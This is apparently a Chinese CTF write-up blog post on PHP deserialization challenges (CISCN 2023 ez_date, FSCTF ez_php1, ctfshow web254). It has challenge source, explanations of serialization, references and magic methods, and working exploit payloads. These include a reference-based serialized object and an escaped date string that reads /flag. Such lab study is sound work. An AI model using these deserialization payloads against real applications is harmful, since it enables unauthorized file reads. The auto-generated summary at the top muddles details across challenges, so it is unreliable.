CTF反序列化wp(ciscn,nss,ctfshowweb入门)

ctf,wp,ciscn,nss,ctfshowweb · 浏览次数 : 0

小编点评

在CTF(Capture The Flag)比赛中,选手们需要完成一系列的挑战来获取最终的flag。以下是针对CISCN 2023华北区域的ez_date题目和华丽的PHP代码解析。 **题目描述** 题目给出了一个包含多个类的PHP脚本,其中包含日期类`date`和一些其他功能。我们需要解析并执行其中的代码,以获取flag值。 **代码解析** 1. 首先,我们注意到`date`类中的`__wakeup()`方法。当PHP对象被反序列化时,这个方法会被调用。因此,我们可以利用这个方法来执行一些预定义的操作。 2. 在`__wakeup()`方法中,首先检查`$this->a`和`$this->b`是否为数组。如果不是数组,则抛出一个错误。接着,检查`$this->a`和`$this->b`的值是否相等,并且它们的MD5和SHA1哈希值也相等。如果满足这些条件,我们将执行以下操作: - 使用`date()`函数将当前时间格式化为字符串。 - 生成一个唯一的文件名,例如`uniqid().'.txt'`。 - 将格式化后的时间字符串写入该文件。 - 从该文件中读取内容,并使用正则表达式删除所有空格和换行符。 - 最后,输出读取到的内容。 3. 为了绕过`is_array()`条件,我们可以直接设置`$this->a`和`$this->b`的值为非数组值,例如`$this->a = 1;`和`$this->b = '1';`。 4. 在`unserialize()`函数调用之前,我们使用`@`运算符来抑制错误信息。这样做的好处是,即使`unserialize()`函数遇到错误,程序也不会立即终止,从而允许我们继续执行后续的代码。 5. 最后,我们通过GET方法传递相应的参数来触发`vipOneKeyGetFlag()`方法,并输出结果。 **解题步骤** 1. 使用`php://filter/read=convert.base64-encode/resource=g0t_f1ag.php`资源来获取序列化的对象。 2. 将序列化后的对象通过POST方法传递给`unserialize()`函数。 3. 在`unserialize()`函数调用之前,使用`@`运算符抑制错误信息。 4. 调用`vipOneKeyGetFlag()`方法并输出结果。 通过以上步骤,我们可以成功获取到flag值。

正文

[CISCN 2023 华北]ez_date

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));
  • unserialize调用__wakeup()

  • if(is_array($this->a)||is_array($this->b))
        
    #禁用了数组绕过
    #这里直接让a=1,b='1',就可以绕过三个条件,这俩md5和sha1都是一样的
    
  • $content=date($this->file);
    
    #  $content接受经过被date函数格式化后的变量file
    #	date()的说明:
    #	该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
    #    检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
    
  • $uuid=uniqid().'.txt';
    
    # uniqid()生成一个时间戳,将生成的时间戳拼接.txt给$uuid
    
  • $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
    
  1. 开头的“/”和i前的“\”表示正则表达式语法的开始和结束
  2. (\s)* :匹配零个或多个空白字符(空格、制表符等)
  3. (\n)+ :匹配一个或多个换行符
  4. (\s)* :再次匹配零个或多个空白字符
  5. i :修饰符,表示不区分大小写

正则表达式会将上述空白字符和换行符都替换为空字符串。

  •  file_put_contents($uuid,$content);
    

    说明:

    file_put_contents($uuid, $content); 是 PHP 中的一个函数调用,用于将一个字符串(内容)写入到一个文件中。这个函数简化了文件打开、写入和关闭的过程。这里是这个函数的基本解释和参数说明:

    • file_put_contents($filename, $data, $flags = 0, $context = null)
      • $filename ($uuid 在此例中):你希望写入内容的文件路径和名称。在这个例子中,$uuid 应该是一个包含唯一标识符(由 uniqid() 生成)加上 .txt 扩展名的字符串,用于创建或覆盖一个具有唯一名称的文件。
      • $data ($content 在此例中):你要写入文件的数据,可以是任何字符串。
      • $flags:这是一个可选参数,用于指定如何写入数据,比如 FILE_APPEND 可以用于在文件末尾追加内容而不是覆盖。默认是 0,表示覆盖模式写入。
      • $context:也是一个可选参数,通常用于提供特定的上下文选项,比如HTTP、FTP等上下文。在大多数情况下,这个参数不需要设置。

    所以,file_put_contents($uuid, $content); 这行代码的作用是把变量$content中存储的字符串数据写入到一个新创建的、以其UUID为名字(加上.txt后缀)的文件中。如果文件已存在,它将被覆盖;如果要追加内容而不是覆盖,可以传递 FILE_APPEND 作为第三个参数。

  • <?php
    $c='/flag';
    print(date($c));
    ?>
    

    运行一下得到/fThursdaypm11,date()会把特定字符格式化为当前时间戳,比如这里,把l换成了星期四Thursday a 换成了pm g换成了时间11

    解决方法:转义字符\绕过: /f\l\a\g

get方式把base64编码后的序列化字符串用code传进去就拿到flag了

[FSCTF 2023]ez_php1

第一关

弱比较随便绕

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?>
game over!

拿到下一关的目录L0vey0U.php

第二关

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
    echo "$hint2";
}
?>
flag{This_is_fake_flag}

把key序列化一下s:10:"YES I love"; ,然后GET方式传进去拿到下一关的目录P0int.php

第三关

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?> 

这里有unserialize反序列化,要想反序列化就得先明白序列化。

序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化

bool:  b:value =>b:0
int:   i:value=>i:1
str:   s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL:  N

序列化前

<?php
class test{
	public $a=false;
	public $b=3;
	public $c='hello';
	public $d=array(1,2,3,'hello');
	public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

序列化后

O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

R与r

当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化

为什么?(看完“分析”以后再看这里)

<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

魔术方法

这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法

eg:例如题目中有一个类名为Clazz的class类,比如当我们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct

exp:

<?php 
class Clazz
{
    public $a;
    public $b;
 
    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?> 

序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

R为2代表是第二个反序列化元素被引用

POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
    public $a;
    public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。

当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b

这里的 @ 前缀作用如下:

  1. 抑制错误:如果 unserialize($_POST['data']) 在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@ 运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。
  2. 继续执行:即使 unserialize() 函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。
  3. 安全风险:使用 @ 错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用 @ 运算符掩盖其利用反序列化漏洞执行恶意代码的过程。

CTFSHOWweb入门254

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解题思路:

  1. 触发vipOneKeyGetFlag
  2. $this->isVip为真

这题目跟反序列化没关系,主要是考验对代码逻辑是否清晰,怎么调用的

只需要/?username=xxxxxx&password=xxxxxx

与CTF反序列化wp(ciscn,nss,ctfshowweb入门)相似的内容:

CTF反序列化wp(ciscn,nss,ctfshowweb入门)

[CISCN 2023 华北]ez_date 题目:

[转帖]CTF -bugku-misc(持续更新直到全部刷完)

CTF -bugku-misc(持续更新直到全部刷完) https://www.cnblogs.com/cat47/p/11432475.html 1.签到题 点开可见。(这题就不浪费键盘了) CTF- 2.这是一张单纯的图片 图片保存到本地,老规矩,winhex看一看 拉到最后发现 因为做过ctf

关于docker-compose up -d 出现超时情况处理

由于要搭建一个ctf平台,用docker一键搭建是出现超时情况 用了很多办法,换源,等之类的一样没办法,似乎它就是只能用官方那个一样很怪。 只能用一种笨办法来处理了,一个个pull。 打个比如: 打开相对应docker-compose.yml文件 可以看到image就是需要去下载的。那么此时你就可以

利用pearcmd实现裸文件包含

title: 利用pearcmd实现裸文件包含 tags: [web,文件包含] categories: [CTF,web] 利用pearcmd实现裸文件包含 在 ctf 中,常常有这样一类题: 题目很简单,一般围绕一个 include 函数展开。 例: ctfshow 元旦水友赛 easy_inc

内存取证——volatility学习

前言 在做计算机最后两道题目碰到了MP3格式的镜像,分析发现是计算机内存,要进行内存取证。现在内存取证在ctf比赛中也是常见的题目,内存取证是指在计算机系统的内存中进行取证分析,以获取有关计算机系统当前状态的信息。内存取证通常用于分析计算机系统上运行的进程、网络连接、文件、注册表等信息,并可以用于检